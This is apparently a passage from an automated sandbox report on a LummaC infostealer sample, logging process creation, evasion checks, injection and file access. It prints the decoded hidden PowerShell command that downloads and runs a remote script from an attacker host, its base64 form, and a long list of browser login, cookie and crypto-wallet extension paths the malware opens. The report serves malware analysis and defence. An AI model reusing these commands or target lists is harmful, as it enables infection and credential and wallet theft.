Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\ColorStreamLib\is-B41J4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-B9GOU.tmp\_isetup\_setup64.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp

API coverage: 0.0 %

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4416	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4956	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2148	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7160	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 3_2_069630F8 GetSystemInfo,

3_2_069630F8

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000001.00000002.2035528825.00000000076A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: mshta.exe, 00000000.00000003.2021231889.0000000004D5D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}5zYVinqyd3FAFE7HaQD2tqPkdor2RpIdOF2d3LiR8wwY04HSoYBfbiaM6vHm8xLN
Source: mshta.exe, 00000000.00000003.2030369155.0000000004D66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}5zYVinqyd3FAFE7HaQD2tqPkdor2RpIdOF2d3LiR8wwY04HSoYBfbiaM6vHm8x:N
Source: powershell.exe, 00000001.00000002.2035528825.00000000076A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: powershell.exe, 00000003.00000002.2846938594.0000000006E45000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_00641FC0 LdrInitializeThunk,

7_2_00641FC0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi32_6160.amsi.csv, type: OTHER
Source: Yara match	File source: amsi32_2804.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6160, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2804, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))"

Encrypted powershell cmdline option found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: Base64 decoded Start-Process "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ArgumentList "-w hidden -ep bypass -nop -Command `"iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))`"" -WindowStyle Hidden
Source: C:\Windows\SysWOW64\mshta.exe	Process created: Base64 decoded Start-Process "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ArgumentList "-w hidden -ep bypass -nop -Command `"iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))`"" -WindowStyle Hidden			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe base: 600000 value starts with: 4D5A

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process created: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe "C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe" /VERYSILENT	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -enc uwb0ageacgb0ac0auabyag8aywblahmacwagaciaqwa6afwavwbpag4azabvahcacwbcafmaeqbzafcabwb3adyanabcafcaaqbuagqabwb3ahmauabvahcazqbyafmaaablagwababcahyamqauadaaxabwag8adwblahiacwboaguababsac4azqb4aguaigagac0aqqbyagcadqbtaguabgb0aewaaqbzahqaiaaiac0adwagaggaaqbkagqazqbuacaalqblahaaiabiahkacabhahmacwagac0abgbvahaaiaataemabwbtag0ayqbuagqaiabgaciaaqblahgaiaaoacgatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4atgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8aawbsagkacabkagkaaablaheabwblac4acwboag8acaavahiadqb3agsabaauahaabgbnaccakqapagaaigaiacaalqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabga=
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -enc uwb0ageacgb0ac0auabyag8aywblahmacwagaciaqwa6afwavwbpag4azabvahcacwbcafmaeqbzafcabwb3adyanabcafcaaqbuagqabwb3ahmauabvahcazqbyafmaaablagwababcahyamqauadaaxabwag8adwblahiacwboaguababsac4azqb4aguaigagac0aqqbyagcadqbtaguabgb0aewaaqbzahqaiaaiac0adwagaggaaqbkagqazqbuacaalqblahaaiabiahkacabhahmacwagac0abgbvahaaiaataemabwbtag0ayqbuagqaiabgaciaaqblahgaiaaoacgatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4atgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8aawbsagkacabkagkaaablaheabwblac4acwboag8acaavahiadqb3agsabaauahaabgbnaccakqapagaaigaiacaalqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabga=			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
